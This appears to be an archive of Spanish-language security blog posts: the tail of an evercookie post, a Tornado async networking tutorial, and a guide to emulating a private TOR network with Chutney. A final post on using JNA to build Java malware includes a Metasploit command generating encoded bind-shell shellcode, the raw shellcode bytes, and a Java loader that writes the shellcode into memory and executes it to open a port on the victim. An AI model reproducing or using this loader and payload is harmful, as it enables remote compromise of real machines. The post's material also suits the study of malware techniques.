Dado que en este punto el valor de “document.body” es “null”, la invocación a la función “appendChild” es invalida y produce un error. Es necesario realizar una validación previa antes de invocar a la función “appendChild”, algo tan simple como lo que se enseña a continuación será suficiente.

      if (append) { 
        if(document.body != null){
          document.body.appendChild(el); 
        }
      }

Después de corregir todos los errores que van saliendo y que están relacionados con el mismo problema que se ha explicado anteriormente, se puede apreciar como la cookie se crea en diferentes secciones del navegador.

evercookie3

Evercookie en el “Session Storage” del navegador

evercookie4

Evercookie en el “Local Storage” del navegador

evercookie5

Evercookie en la base de datos SQLite del navegador

Aunque se intente eliminar las cookies utilizando el procedimiento habitual de limpiar cache, formularios guardados, cookies, etc. Evercookie vuelve a crearse automáticamente en cada una de las zonas de almacenamiento indicadas anteriormente, convirtiéndola en un elemento difícil de remover del navegador web. Difícil, pero no imposible.
En un próximo articulo se hablará en detalle sobre las ubicaciones en las que se almacena evercookie y cómo eliminar una cookie persistente creada previamente. Por otro lado, también se hablará de implementaciones de evercookie en NodeJS y Django.

Un Saludo y Happy Hack!

Tornado para rutinas de red asincronas y no bloqueantes

noviembre 27, 2014 1 comentario

“Tornado” es una librería para programas escritos en Python que permite crear sistemas asíncronos y no bloqueantes para operaciones de red, en donde cada petición ejecutada por los clientes puede ser asíncrona. La forma en la que se encuentra implementada la librería, permite escalar a varios miles de conexiones abiertas, algo que resulta ideal para aplicaciones que requieren conexiones con un tiempo de vida largo. Tornado no es una librería simple, de hecho es todo un framework para diferentes tipos de elementos de red, muy similar a Twisted, pero con la diferencia de que Tornado se centra en el desarrollo de componentes de red asíncronos y no bloqueantes y Twisted es un framework reactivo, centrado en el desarrollo de componentes de red que se activan ante diferentes eventos.
El modelo tradicional para crear aplicaciones tales como servidores web que soportan varios clientes de forma concurrente, se basa en un sistema “multi-hilo”, en el que se crea un nuevo hilo por cada cliente que se conecta al servicio. Esto da como resultado un consumo bastante alto de recursos del sistema y problemas de rendimiento que pueden ser bastante serios.
Un sistema “no-bloqueante” se basa en la ejecución de un único hilo de forma continua y que responde a las peticiones de cada cliente de forma asíncrona, de esta forma, el efecto de “bloqueo” de cada función se ve muy disminuido, ya que una función asíncrona retorna antes de finalizar. Por otro lado, últimamente se ha vuelto bastante popular el uso de librerías como Tornado o AsyncIO (de la que se hablará en una próxima entrada) no solamente en Python, sino en muchos otros lenguajes como Java, PHP o Javascript para implementar rutinas asíncronas y sistemas no bloqueantes. Es un modelo que ha ido cobrando fuerza por los beneficios que aporta un sistema que consume pocos recursos comparado con los sistemas clásicos, los cuales para manejar la concurrencia crean un nuevo hilo de ejecución por cada cliente.

Para instalar Tornado, basta con ejecutar el comando “pip install tornado” o descargar la última versión disponible en el repositorio GitHub (https://github.com/tornadoweb/tornado) e instalar manualmente con el script “setup.py”.
Uno de los ejemplos más básicos a la hora de usar Tornado, consiste en crear una aplicación web, para lo cual es necesario utilizar como mínimo tres elementos: una o varias clases del tipo “RequestHandler” para el procesamiento de las peticiones, uno o varios objetos del tipo “Application” para gestionar y enrutar adecuadamente las peticiones entrantes y finalmente, una función “main” que se encargará de iniciar el servidor. El siguiente es un ejemplo muy simple para crear un servidor web que procesa las peticiones “POST” de forma síncrona y las peticiones “GET” de forma asíncrona.

BasicTornadoWebServer.py

from tornado.ioloop import IOLoop
from tornado.web import RequestHandler, Application, url, asynchronous

class HelloHandler(RequestHandler):
    @asynchronous
    def get(self):
        self.write("Hello, world")

    def post(self):
        self.write("Hello, world")    

app = Application([ url(r"/", HelloHandler), ])
app.listen(9090)
IOLoop.current().start()

Como se puede apreciar, la clase “IOLoop” es la encargada de crear el hilo de ejecución que se encargará de procesar cada petición entrante por el puerto “9090”. Por otro lado, por defecto las funciones de una instancia de “RequestHandler” son síncronas, esto quiere decir que el hilo de ejecución principal será bloqueado hasta que la función retorne y en este caso, para implementar una función asíncrona, se debe utilizar el decorador “asynchronous”.
Se trata de un ejemplo muy simple y Tornado implementa muchas clases y funciones que permiten crear aplicaciones web asíncronas y con elementos tan interesantes como autenticación de usuarios, protección a CSRF o cookies seguras. Estos elementos serán analizados con mayor detalle en una próxima entrada, en esta nos centraremos en el uso de las utilidades incluidas en Tornado para networking.
Elementos y utilidades en Tornado para operaciones de red asíncronas
Tal como se ha visto antes la utilidad “tornado.ioloop” es el elemento principal para iniciar el hilo de ejecución en Tornado, no obstante no solamente se puede utilizar para crear un servidor HTTP que permita el procesamiento de peticiones, también es posible crear sockets TCP o UDP y responder a cada cliente de forma asíncrona. El siguiente es un ejemplo de cómo crear un servidor TCP básico con Tornado.


import errno
import functools
import socket
from tornado import ioloop, iostream
def connection(sock, filedes, event):
    while True:
        try:
            connection, address = sock.accept()
        except socket.error, e:
            if e[0] not in (errno.EWOULDBLOCK, errno.EAGAIN):
                raise
            return
        connection.setblocking(0)
        stream = iostream.IOStream(connection)
        stream.write("HTTP/1.1 200 OK\r\nHello!\r\n", stream.close)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.setblocking(0)
sock.bind(("", 8080))
sock.listen(1000)
io_loop = ioloop.IOLoop.instance()
callback = functools.partial(connection, sock)
io_loop.add_handler(sock.fileno(), callback, io_loop.READ)
try:
    io_loop.start()
except KeyboardInterrupt:
    io_loop.stop()
    print "exited cleanly"

Las primeras instrucciones que ejecuta el script anterior resultan bastante comunes para cualquier programador de Python que conoce el uso de los sockets, en este caso se está vinculando el puerto “8080” y posteriormente se utiliza una función de callback que será invocada automáticamente por la utilidad “IOLoop” cuando un cliente realice una petición al puerto 8080. La función de callback encargada de procesar cada conexión es “connection” y como se puede apreciar, recibe como argumento el socket servidor, el “file descriptor” y un listado de eventos producidos durante la conexión. Las primeras instrucciones de la función “connection” resultaran bastante comunes también, ya que lo primero que se hace es aceptar la conexión iniciada por el cliente. Posteriormente, se crea una instancia de la clase “iostream.IOStream” recibiendo como argumento la conexión del cliente. Este elemento de Tornado es lo que hace que este sencillo servidor TCP sea una rutina no bloqueante, ya que se encarga de gestionar de forma asíncrona las respuestas a todos los clientes que se conectan al servidor.

tornado1

La clase “tornado.iostream.IOStream” es una de las clases que extiende de “tornado.iostream.BaseIOStream”, la cual incluye las funciones básicas para leer y escribir datos en sockets no bloqueantes. Existen otras implementaciones tales como “iostream.SSLIOStream” o “iostream.PipeIOStream” que implementan características extendidas.

Por otro lado, el modulo “tornado.netutil” incluye varias funciones que son bastante útiles tanto para clientes como servidores. El uso de algunas de dichas funciones se enseña a continuación.

>>> from tornado import netutil
>>> sockets = netutil.bind_sockets(8000)
sockets [<socket._socketobject object at 0x7f067a1bf670>, <socket._socketobject object at 0x7f067a1bf6e0>]
>>> netutil.is_valid_ip('') False
>>> netutil.is_valid_ip('192.168.1.2') True
>>> netutil.is_valid_ip('192.168.1.999') False
>>> netutil.is_valid_ip('fe80::fe15:b4ff:fefc:f808') True
>>> netutil.is_valid_ip('aas10::fe15:b4ff:fefc:f808') False
>>> resDNS = netutil.Resolver()
>>> resDNS.configure('tornado.netutil.BlockingResolver')
>>> resDNS.resolve('www.google.com',80) <tornado.concurrent.Future object at 0x7f0679b01bd0> >>> dir(_)
['__class__', '__delattr__', '__dict__', '__doc__', '__format__', '__getattribute__', '__hash__', '__init__', '__module__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_callbacks', '_check_done', '_done', '_exc_info', '_exception', '_result', '_set_done', 'add_done_callback', 'cancel', 'cancelled', 'done', 'exc_info', 'exception', 'result', 'running', 'set_exc_info', 'set_exception', 'set_result']

La función “bind_sockets” se encarga de crear los sockets en todas las interfaces de red disponibles y devuelve un listado con cada una de las referencias creadas.
La función “is_valid_ip” se encarga de validar si una dirección IPv4 o IPv6 es válida y finalmente, la clase “Resolver” permite configurar varios de tipos de “resolvers” para peticiones DNS bloqueantes y no bloqueantes.
Para mayor información sobre más utilidades disponibles en Tornado, se recomienda revisar la documentación: http://tornado.readthedocs.org/en/latest/netutil.html

Finalmente, Tornado incluye un servidor TCP que puede ser utilizado como un envoltorio de la utilidad “IOLoop” descrita anteriormente. Dicho servidor incluido en Tornado tiene la ventaja de que se encarga de gestionar automáticamente el estado del bucle iniciado por “IOLoop”.
Existen 3 mecanismos que se pueden implementar con la utilidad TCPServer.
1. Un único proceso en ejecución.

>>> from tornado import tcpserver >>> server = tcpserver.TCPServer() >>> server.listen(8080) >>> from tornado import ioloop
>>> ioloop.IOLoop.instance().start()

2. Multi-proceso simple con las funciones estandar “bind” y “start”

>>> from tornado import tcpserver
>>> server = tcpserver.TCPServer()
>>> server.bind(8080)
>>> server.start(8080)
>>> from tornado import ioloop
>>> ioloop.IOLoop.instance().start()

3. Multi-proceso avanzado utilizando la funcion “add_sockets”

>>> from tornado import tcpserver
>>> from tornado import ioloop
>>> from tornado import netutil
>>> from tornado import process
>>> sockets = netutil.bind_sockets(8000)
>>> process.fork_processes(0)
>>>server = tcpserver.TCPServer()
>>>server.add_sockets(sockets)
>>>IOLoop.instance().start()

Este ha sido el uso básico de Tornado, sin embargo hay que aclarar que existen otras librerías que son bastante robustas y que permiten conseguir los mismos objetivos, como es el caso de AsyncIO o incluso algunos módulos de Twisted. En el caso de AsyncIO, se encuentra incluida por defecto en las últimas versiones de Python 3, concretamente a partir de la versión 3.4. De dicha librería se hablará más adelante en otro artículo.
Saludos y Happy Hack!

Crea tu propia red privada de TOR – Emulación de TOR con Chutney

noviembre 20, 2014 3 comentarios

Somos muchos los que nos interesa saber cómo funciona TOR, pero también somos muchos los que sabemos que existen varios riesgos cuando entramos a ese tipo de redes cuando lo único que queremos es hacer pruebas, por ese motivo, una buena forma de comprender el funcionamiento de todos los elementos que conforman TOR, sin acceder directamente a la red, es por medio de herramientas y librerías que permiten simular y/o emular la red.
En primer lugar, es necesario entender la diferencia entre simular y emular, ambos términos a veces suelen utilizarse como si se tratase de sinónimos, pero no son lo mismo. Cuando simulamos un sistema, contamos con modelo muy especifico que aplica a un contexto particular, por ejemplo, podemos simular el rendimiento midiendo los tiempos de respuesta y haciendo estimaciones sobre su comportamiento con una mayor carga o con más o menos recursos, es decir, una simulación es un mecanismo que permite modelar un sistema en unas condiciones determinadas y es muy útil para hacer estimaciones. Por otro lado, cuando se habla de emular, se duplica el sistema y se ejecuta de forma independiente al sistema original, es decir, se produce una replica del sistema y se puede observar y analizar su comportamiento, dando resultados mucho más exactos que los que puede proporcionar una simulación.
Ahora bien, las simulaciones y emulaciones son términos que seguramente resultarán bastante conocidos y utilizados a los administradores de sistemas y redes, ya que existen varias herramientas que emplean ambos mecanismos para medir los limites de un sistema o el número de clientes concurrentes que pueden estar conectados a una red sin deteriorar su rendimiento. En este sentido, es posible utilizar algunas de estas mismas herramientas para probar el funcionamiento de TOR sin necesidad de conectarse directamente a las autoridades de directorio oficiales. El objetivo de este articulo y el siguiente, es enseñar el uso de dos herramientas que son recomendadas por el equipo de TOR para hacer pruebas sobre la red, dichas herramientas son Chutney y Shadow, la primera es una herramienta de emulación y la segunda de simulación. En esta entrada nos centraremos en Chutney y en la próxima se hablará sobre Shadow.

Instalación y uso de Chutney

Chutney es una herramienta que permite emular y configurar una red privada con TOR muy rápidamente, permitiendo crear varios escenarios en los que Chutney es capaz de levantar autoridades de directorio, repetidores, clientes, bridges y cualquier elemento adicional que conforma la red de TOR. Usar Chutney no es complicado, de hecho es una herramienta bastante sencilla e intuitiva, pero para configurar escenarios de prueba, es necesario conocer bastante bien las propiedades de configuración que admite TOR, es decir, aquellas que típicamente se incluyen en el fichero de configuración “torrc”.
El proyecto se encuentra ubicado en la siguiente ruta: https://gitweb.torproject.org/chutney.git y para comenzar a usarlo, basta con clonar el repositorio GIT y lanzar la utilidad “chutney”

>git clone https://git.torproject.org/chutney.git
Clonar en «chutney»…
remote: Counting objects: 364, done.
remote: Compressing objects: 100% (170/170), done.
remote: Total 364 (delta 180), reused 282 (delta 137)
Receiving objects: 100% (364/364), 58.68 KiB | 0 bytes/s, done.
Resolving deltas: 100% (180/180), done.
Checking connectivity… hecho.
>cd chutney
>./chutney
Error: Not enough arguments given.
Usage: chutney {command} {networkfile}
Known commands are: configure hup restart start status stop verify

Para ejecutar “chutney” se debe indicar un comando y un fichero de configuración de red. Los comandos disponibles son “configure”, “hup”, “restart”, “start”, “status”, “stop” y “verify”. Además, se debe indicar la ruta del fichero de configuración de red como segundo argumento del comando.

Para que la herramienta funcione correctamente, el comando “tor” debe ser un comando valido para el usuario que lo ejecuta, es decir, que TOR se debe encontrar instalado en el sistema y el usuario en cuestión debe de tener los privilegios suficientes para poder ejecutarlo, de lo contrario, “chutney” enseñará el siguiente mensaje.

>./chutney configure networks/basic
Starting nodes
Cannot find tor binary ‘tor’. Use CHUTNEY_TOR environment variable to set the path, or put the binary into $PATH.

Basta con establecer la ruta donde se encuentra el ejecutable en la variable de entorno PATH.

>nano /home/adastra/.bashrc
export PATH=”$PATH:/TOR/tor-browser_40/Browser/TorBrowser/Tor/tor”
>source ~/.bashrc

Si TOR se ha instalado desde algún repositorio de Debian, CentOS o Fedora, no debería haber mayores problemas, sin embargo se recomienda instalar la última versión de TOR disponible, preferiblemente desde el código fuente.

Después de tener todos los elementos instalados y listos para ser utilizados, el primer paso en la puesta en marcha de “chutney” es invocar al comando “configure” para crear todos los directorios y las claves necesarias para instanciar las autoridades de directorio en la máquina donde se ejecuta la herramienta. Dicho comando se debe ejecutar sobre un directorio de configuración de red y en este caso, “chutney” cuenta con algunos ficheros de ejemplo que pueden ser útiles para probar la herramienta. Dichos ficheros se encuentran incluidos en el directorio “networks”.
Cuando se ejecuta el comando “configure”, la herramienta se encarga de crear automáticamente el directorio “net”, el cual incluye todos los elementos necesarios para emular la red de TOR.

>./chutney configure networks/basic
Creating identity key /chutney/net/nodes/000a/keys/authority_identity_key for test000a with tor-gencert –create-identity-key –passphrase-fd 0 -i /chutney/net/nodes/000a/keys/authority_identity_key -s /chutney/net/nodes/000a/keys/authority_signing_key -c /chutney/net/nodes/000a/keys/authority_certificate -m 12 -a 127.0.0.1:7000Creating identity key /chutney/net/nodes/001a/keys/authority_identity_key for test001a with tor-gencert –create-identity-key –passphrase-fd 0 -i /chutney/net/nodes/001a/keys/authority_identity_key -s /chutney/net/nodes/001a/keys/authority_signing_key -c /chutney/net/nodes/001a/keys/authority_certificate -m 12 -a 127.0.0.1:7001Creating identity key /chutney/net/nodes/002a/keys/authority_identity_key for test002a with tor-gencert –create-identity-key –passphrase-fd 0 -i /chutney/net/nodes/002a/keys/authority_identity_key -s /chutney/net/nodes/002a/keys/authority_signing_key -c /chutney/net/nodes/002a/keys/authority_certificate -m 12 -a 127.0.0.1:7002The tor binary at ‘tor’ does not support the option in the torrc line:’TestingDirAuthVoteExit *’
The tor binary at ‘tor’ does not support the option in the torrc line:
‘TestingDirAuthVoteExit *’
The tor binary at ‘tor’ does not support the option in the torrc line:
‘TestingDirAuthVoteExit *’

Como se puede apreciar en las últimas líneas, la opción de configuración “TestingDirAuthVoteExit” no se ha encontrado y aunque es posible seguir trabajando con “chutney” sin problemas a pesar de este error, se trata de una propiedad de configuración que se ha incluido a partir de la versión “2.6-alpha” de TOR y a la fecha de redactar este artículo, aun no se encuentra disponible en la versión estable.
Ahora que se encuentra la red privada configurada, se puede controlar con los comandos “start”, “stop” y “status” tal como enseña la siguiente imagen.

chutney

Comandos disponibles en chutney

La configuración básica funciona correctamente y como se puede ver, se han creado una serie de procesos que representan instancias de TOR que se están ejecutando en la máquina local. No obstante, no se trata de instancias de TOR que se levantan con las propiedades por defecto de TOR Browser, se trata de instancias especialmente configuradas para levantar clientes, autoridades de directorio, repetidores de salida, bridges, etc. En este caso concreto, el contenido del fichero “networks/basic” tiene lo siguiente.

Authority = Node(tag=”a”, authority=1, relay=1, torrc=”authority.tmpl”)
Relay = Node(tag=”r”, relay=1, torrc=”relay.tmpl”)
Client = Node(tag=”c”, torrc=”client.tmpl”)
NODES = Authority.getN(3) + Relay.getN(8) + Client.getN(2)
ConfigureNodes(NODES)

Aunque pueda parecer complejo, esta es la estructura de cualquier fichero de configuración de red de la herramienta y en este caso concreto, se están creando 3 instancias de TOR que actuarán como autoridades de directorio, 8 como repetidores y 2 como clientes, lo que nos da un total de 13 nodos ejecutándose en la máquina local.
La estructura del fichero utiliza la API de “chutney” que se encuentra escrita en Python y cuya clase principal es “Node”, en la que se permite crear una instancia de TOR con características muy concretas y además, cada una de dichas instancias contará con su propio fichero de configuración de TOR (torrc).
Si se mira con atención el fichero de configuración anterior, se puede apreciar que se compone de una serie de instancias de la clase “Node” las cuales son “clonadas” utilizando un patrón “singleton” con el método “getN” en el que se indica el número de instancias que se debe crear. Finalmente, la utilidad “ConfigureNodes” se encarga de configurar todas y cada una de las referencias declaradas.

Configuración personalizada de Chutney

Hasta este punto se ha podido apreciar que configurar “chutney” no es demasiado complejo, sin embargo se ha utilizado una configuración que viene por defecto en el fichero “networks/basic”. Para hacer pruebas un poco más robustas y que posteriormente puedan servir para detectar errores en el funcionamiento de TOR, es necesario aprender a crear ficheros de configuración de red personalizados, algo que tampoco es demasiado complejo si se conocen las principales propiedades que se pueden utilizar en TOR.
En primer lugar, es importante anotar que el constructor de la clase “Node” recibe dos argumentos que identifican la configuración que se debe aplicar en la instancia de TOR, el primero es “tag”, el cual indica si se trata de un repetidor, un cliente, una autoridad de directorio o un bridge y el segundo es el parámetro “torrc”, el cual recibe un nombre de fichero con extensión “tmpl”, el cual representa una plantilla con las propiedades soportadas por TOR.
En el ejemplo anterior, el fichero “networks//basic” ha utilizado las plantillas “authority.tmpl”, “relay.tmpl” y “client.tmpl” y dichas plantillas se encuentran definidas en el directorio “<CHUTNEY_DIR>/templates/”. Para que el lector se haga una idea sobre lo que pueden incluir dichos ficheros, el siguiente es el contenido de la plantilla “authority.tmpl”

${include:relay.tmpl}
AuthoritativeDirectory 1
V3AuthoritativeDirectory 1
ContactInfo auth${nodenum}@test.test
ExitPolicy reject *:*
TestingV3AuthInitialVotingInterval 300
TestingV3AuthInitialVoteDelay 2
TestingV3AuthInitialDistDelay 2
TestingV3AuthVotingStartOffset 0
# Work around situations where the Exit and Guard flags aren’t being set
# These flags are set eventually, but it takes ~30 minutes
# We could be more precise here, but it’s easiest just to vote everything
# Clients are sensible enough to filter out Exits without any exit ports,
# and Guards without ORPorts
# If your tor doesn’t recognise TestingDirAuthVoteExit, update your chutney
# to a version that includes the issue-13161-check-torrc-options features
TestingDirAuthVoteExit *
TestingDirAuthVoteGuard *

Efectivamente, se trata de ficheros muy simples que siguen la misma sintaxis y estructura que el fichero de configuración “torrc”. La única diferencia es que los ficheros plantilla de “chutney” deben incluir una declaración al principio del fichero en el caso de que sea necesario incluir otras plantillas y además, es posible acceder a variables globales “chutney” con “${variable}” tal como se ha visto en el fichero.

Para probar cualquier tipo de configuración es necesario conocer muy bien las propiedades de configuración de TOR y jugar con ellas!
Chutney ya se encarga de crear el entorno por nosotros y emular la red de TOR en nuestro ordenador, con tantas instancias como queramos. Además, como se verá en un próximo artículo, también es posible utilizar Chutney en otras máquinas del segmento de red para tener una emulación mucho más aproximada del comportamiento de TOR, desde un entorno controlado y sin necesidad de estar conectado a Internet.

Herramientas como Chutney son muy utilizadas actualmente por hackers e investigadores con el fin de estudiar el comportamiento de TOR en un entorno aislado para que de esta forma, sea más sencillo encontrar fallos en su implementación sin afectar directamente a la red. Es una herramienta que desde luego es muy recomendada para aquellas personas que quieran probar diferentes configuraciones de TOR en su red local.

Saludos y Happy Hack!

Inyección de Maleware en programas Java con acceso nativo utilizando JNA

noviembre 13, 2014 1 comentario

Cuando se habla de APTs y cibercrimen, casi siempre se habla también de maleware y/o software vulnerable, ya que son los elementos angulares de cualquier campaña APT independientemente de su alcance. En este y otros artículos, intentaré explicar algunas de las técnicas que utilizan los atacantes en Internet para escribir maleware e intentar comprometer los sistemas de sus víctimas. En esta ocasión corresponde hablar sobre Java y JNA (Java Native Access).
Java es un lenguaje muy popular por ser uno de los primeros que se ha enfocado a Internet y por contar con una extensa API llena de funcionalidades para todos los gustos y colores. No obstante y “curiosamente” desde que Sun MicroSystems fue adquirida por Oracle, han salido a la luz varias vulnerabilidades relacionadas directamente con la máquina virtual de Java, muchas de las cuales han permitido la ejecución remota de código. Este hecho ha sido explotado de forma continuada por muchos atacantes en Internet y ahora representa en un problema bastante serio.
Sin embargo, además de las vulnerabilidades que se han detectado en la JVM, también existen otros problemas relacionados con la ejecución de Applets, especialmente cuando dichos Applets pueden ejecutar código nativo que no es gestionado directamente por la máquina virtual, como por ejemplo aquellas rutinas de código que utilizan JNI o JNA para acceder a funciones del sistema.

¿Qué es JNA y cómo me puedo beneficiar de dicha librería?

Como seguramente ya sabes, Java es un lenguaje híbrido, es una mezcla entre un lenguaje interpretado y un lenguaje compilado. Además, una de las ventajas que tiene y que le ha permitido ganar popularidad es que todas las instrucciones de código de un programa, se ejecutan directamente sobre una máquina virtual de Java y no sobre un sistema operativo concreto, de esta forma se trata de código que se puede ejecutar en diferentes sistemas operativos, siempre y cuando dichos sistemas tengan instalada la JVM (Java Virtual Machine). Un lenguaje con dichas características en los años en los que salio a la luz Java, era toda una revolución, ya que por aquel entonces (hablamos de la década de los 90s), era muy común escribir programas en C/C++ para plataformas especificas y con Java, se simplificaba muchísimo el desarrollo, ya que el mismo programa podía ser interpretado de la misma forma en múltiples sistemas operativos. Ha sido una idea genial y que muchos lenguajes adoptaron posteriormente.
Aunque todas las instrucciones de un programa escrito en Java pueden ejecutarse de forma independiente del sistema operativo, las operaciones relacionadas con la gestión de la memoria y el acceso a determinas funciones son completamente gestionadas por la JVM y el control que puede tener el programador para acceder a estructuras o ejecutar funciones del sistema operativo es prácticamente nulo. Dado que en ocasiones muy concretas, era necesario ejecutar código nativo y la JVM no lo permitía, surgió la interfaz JNI (Java Native Interface) la cual permitía ejecutar código nativo en lenguaje C desde un programa escrito en Java. Dado que la ejecución de este tipo de programas requiere cierta “confianza”, programas escritos con la finalidad de ser distribuidos a otros clientes, como los Applets, se encuentran limitados por un sandbox en el que la ejecución de este tipo de operaciones “potencialmente peligrosas” se encuentran restringidas, a menos claro, de que se permitan explícitamente utilizando el mecanismo de políticas de Java por medio de los ficheros “java.policy” o “java.security”.
JNI ha sido el mecanismo estándar utilizado por los programadores de Java para acceder a rutinas de código nativas escritas en lenguaje C, sin embargo su uso era algo complejo incluso para acceder a rutinas simples, por ese motivo, entre otros, salio el proyecto JNA (Java Native Access) el cual no solamente incluye formas mucho más convenientes de acceder a código nativo desde Java, sino que para un atacante, también permite crear rutinas maliciosas (maleware) para ejecutar código arbitrario en el sistema.
Antes de explicar cómo hacer esto, se enseña el uso básico de JNA en un programa escrito en Java que se encarga simplemente de ejecutar la función “printf” de C.

test.java

			
import com.sun.jna.Library; 
import com.sun.jna.Native; 
import com.sun.jna.Platform;
			
public class test { 	
    public interface CLibrary extends Library { 
        CLibrary INSTANCE = (CLibrary) Native.loadLibrary( 
            (Platform.isWindows() ? "msvcrt" : "c"), CLibrary.class); 
        void printf(String format, Object... args); 
    } 
			
    public static void main(String[] args) { 
        CLibrary.INSTANCE.printf("Mensaje  utilizando la función 'printf' de C.\n"); 
        for (int i = 0; i < args.length; i++) { 
            CLibrary.INSTANCE.printf("Parámetro %d: %s\n", i, args[i]); 
        } 
    } 		
} 
			
			

Para compilar el código anterior con la utilidad “javac”, es necesario descargar el fichero JAR de JNA, ya que es una librería que no se encuentra incluida por defecto en el JDK de Java. Para descargar el JAR correspondiente, puedes dirigirte al siguiente repositorio: http://mvnrepository.com/artifact/net.java.dev.jna/jna/4.1.0 debes pinchar donde pone “Download JAR”, al lado del texto que pone “Artifact” o si tienes un proyecto Java gestionado con Maven, puedes incluir dicha dependencia en el fichero pom.xml del proyecto y descargarla automáticamente con Maven.

Ahora, para compilar el programa anterior con el comando “javac” es necesario indicar en el “classpath”, la ruta en la que se encuentra el fichero JAR.

javac -cp jna-4.1.0.jar test.java

En este caso, se asume que la librería “jna-4.1.0.jar” se encuentra ubicada en la misma ruta que el programa Java.
La ejecución del comando anterior dará como resultado dos fichero “.class”, el primero incluye el bytecode de la clase “test” compilada y el segundo el bytecode de la interfaz “CLibrary”.
Ahora se procede a ejecutar el programa y como se puede apreciar, se accede a la función “printf” de C desde el programa escrito en Java.

>java -cp jna-4.1.0.jar:. test aa aa
Mensaje utilizando la función ‘printf’ de C.
Parámetro 0: aa
Parámetro 1: aa

Hasta este punto el uso de JNA parece bastante simple, pero cuenta con varias clases interesantes que se detallarán a continuación para crear maleware.

¿Cómo desarrollar programas con JNA para crear y posteriormente distribuir Maleware?

Si un atacante tiene la posibilidad de manipular la memoria o invocar funciones del sistema operativo desde un programa escrito en Java, como si se tratará de cualquier programa en C, tendrá la posibilidad de ejecutar shellcodes, rutinas de código para acceder remotamente o ejecutar cualquier otra actividad sobre el sistema, las posibilidades se limitan a su creatividad.
Vamos a plantear un ejemplo demostrativo, en el que se creará un payload del tipo “bind_tcp” y desde un programa escrito en Java, se utilizará JNA para reservar un espacio de memoria equivalente a la longitud del payload y posteriormente, se controlará el flujo del programa para posicionarlo en la región de memoria donde se ha cargado el shellcode para que se pueda ejecutar.

El shellcode se puede generar fácilmente utilizando Metasploit Framework con las utilidades msfpayload y msfencode o con msfvenom, el resultado en cualquier caso es el mismo.

>msfpayload linux/meterpreter/bind_tcp LPORT=4444 R | msfencode -c 10 -e x86/shikata_ga_nai -t c -b “\x00″
Invalid payload: linux/meterpreter/bind_tcp
[*] x86/shikata_ga_nai succeeded with size 27 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 54 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 81 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 108 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 135 (iteration=5)
[*] x86/shikata_ga_nai succeeded with size 162 (iteration=6)
[*] x86/shikata_ga_nai succeeded with size 189 (iteration=7)
[*] x86/shikata_ga_nai succeeded with size 216 (iteration=8)
[*] x86/shikata_ga_nai succeeded with size 243 (iteration=9)
[*] x86/shikata_ga_nai succeeded with size 270 (iteration=10)
unsigned char buf[] =
“\xdb\xd6\xd9\x74\x24\xf4\xb8\x09\x84\x64\xe3\x5f\x29\xc9\xb1″
“\x3d\x83\xef\xfc\x31\x47\x16\x03\x47\x16\xe2\xfc\x3c\x93\x8b”
“\xf5\xe2\x87\x9f\xd0\x6f\x1c\xd4\xbc\xbc\x95\xa5\x77\xf2\x63″
“\xd4\x74\xb2\x79\x5b\x63\xae\x97\x70\xac\x70\x50\x20\x49\x39″
“\xef\x04\x9c\x04\x7d\xa9\x9a\xe8\xa1\x7e\x35\xda\x5e\xba\x2d”
“\xb1\xd5\x44\xb1\xf4\x29\x1d\x89\x2d\x8e\x5a\x1e\xff\x76\x2b”
“\x74\xe6\x83\x19\xec\x63\xfb\x9b\x97\xc1\x35\xcc\x37\xe5\x7d”
“\xa0\x9e\x90\x9f\x99\x9b\xfb\xc8\xa8\xd3\xd4\x14\x20\x10\xd8″
“\xf7\xfe\x05\xe3\xbe\x24\xf5\x17\xc3\xfd\x0e\x6d\x51\x09\xab”
“\x38\x46\x41\x04\xe1\xd0\x89\x77\x83\xb5\x12\xaa\xab\x84\xb6″
“\x1f\xb4\x81\xb0\xdd\x6d\x39\xfd\x01\x09\x17\xb2\x38\xb1\x45″
“\x6d\xaa\x12\x4f\x1c\xcd\xe8\x4e\x21\x85\x74\x55\x76\x3d\xb9″
“\xd5\x1f\xa6\xcb\x75\xc6\x5c\x97\x2b\xc8\xc1\x72\x6c\x59\x60″
“\x42\x9f\x60\x63\x08\x23\xa3\xf3\xb3\x8e\xd3\x4d\x9a\x0c\xf1″
“\xcf\x92\x2a\x20\x8c\x38\x53\x69\x14\xa4\x53\x4a\x02\xad\x43″
“\x69\xba\x8e\x0d\x28\x1c\x32\x3a\x70\x65\x50\x2a\x72\x38\x5a”
“\x03\x2b\xc1\xf2\x62\xbb\x8e\xc1\xa2\x0a\x05\x86\xf4\x81\x92″
“\xd1\x6d\xaf\x17\x74\xcc\xa3\x48\x66\x55\x73\x2a\x5f\x28\xc0″;

A continuación se enseña una prueba de concepto simple para enseñar la estructura base del programa.

malewareJava.java

import com.sun.jna.Memory; 
import com.sun.jna.Function; 

public class malewareJava { 

public static String shellcode_hex="db d6 d9 74 24 f4 b8 …. "; 
public static byte[] shellcode; 
public static long offset=0; 

public static void main(String ... s) { 
	String[] values = shellcode_hex.split(" "); 
      shellcode = new byte[values.length]; 
      int i = 0; 
      for(i=0;i<values.length;i++) { 
	  shellcode[i] =  Integer.decode("0x" + values[i]).byteValue(); 
      } 
     Memory mem=new Memory(shellcode.length); 
     mem.clear(shellcode.length); 
     mem.write(offset,shellcode,0,shellcode.length); 
     Function f=Function.getFunction(mem,0); 
     f.invoke(null); 
  } 
}

 

La variable “shellcode_hex” contiene el shellcode generado anteriormente con Metasploit y en la función “main” del programa se obtiene un array decodificado con cada uno de los valores de dicho shellcode. La parte interesante del programa viene después, ya que se utiliza la clase “Memory” para reservar el espacio de memoria correspondiente a la longitud total del shellcode y posteriormente con los métodos “clear” y “write” se limpia y se inyecta el shellcode en la sección de memoria reservada.
Finalmente, con la clase “Function” se ejecuta el método “getFunction” para recuperar una referencia a la dirección de memoria donde se encuentra el shellcode y se invoca con el método “invoke”.
Después de ejecutar el programa anterior sobre un sistema Windows, se abrirá el puerto “4444” en la máquina de la víctima, tal como se ha indicado anteriormente al ejecutar Metasploit.

C:\Documents and Settings\jdaanial\Desktop>javac malewareJava.java
C:\Documents and Settings\jdaanial\Desktop>java malewareJava

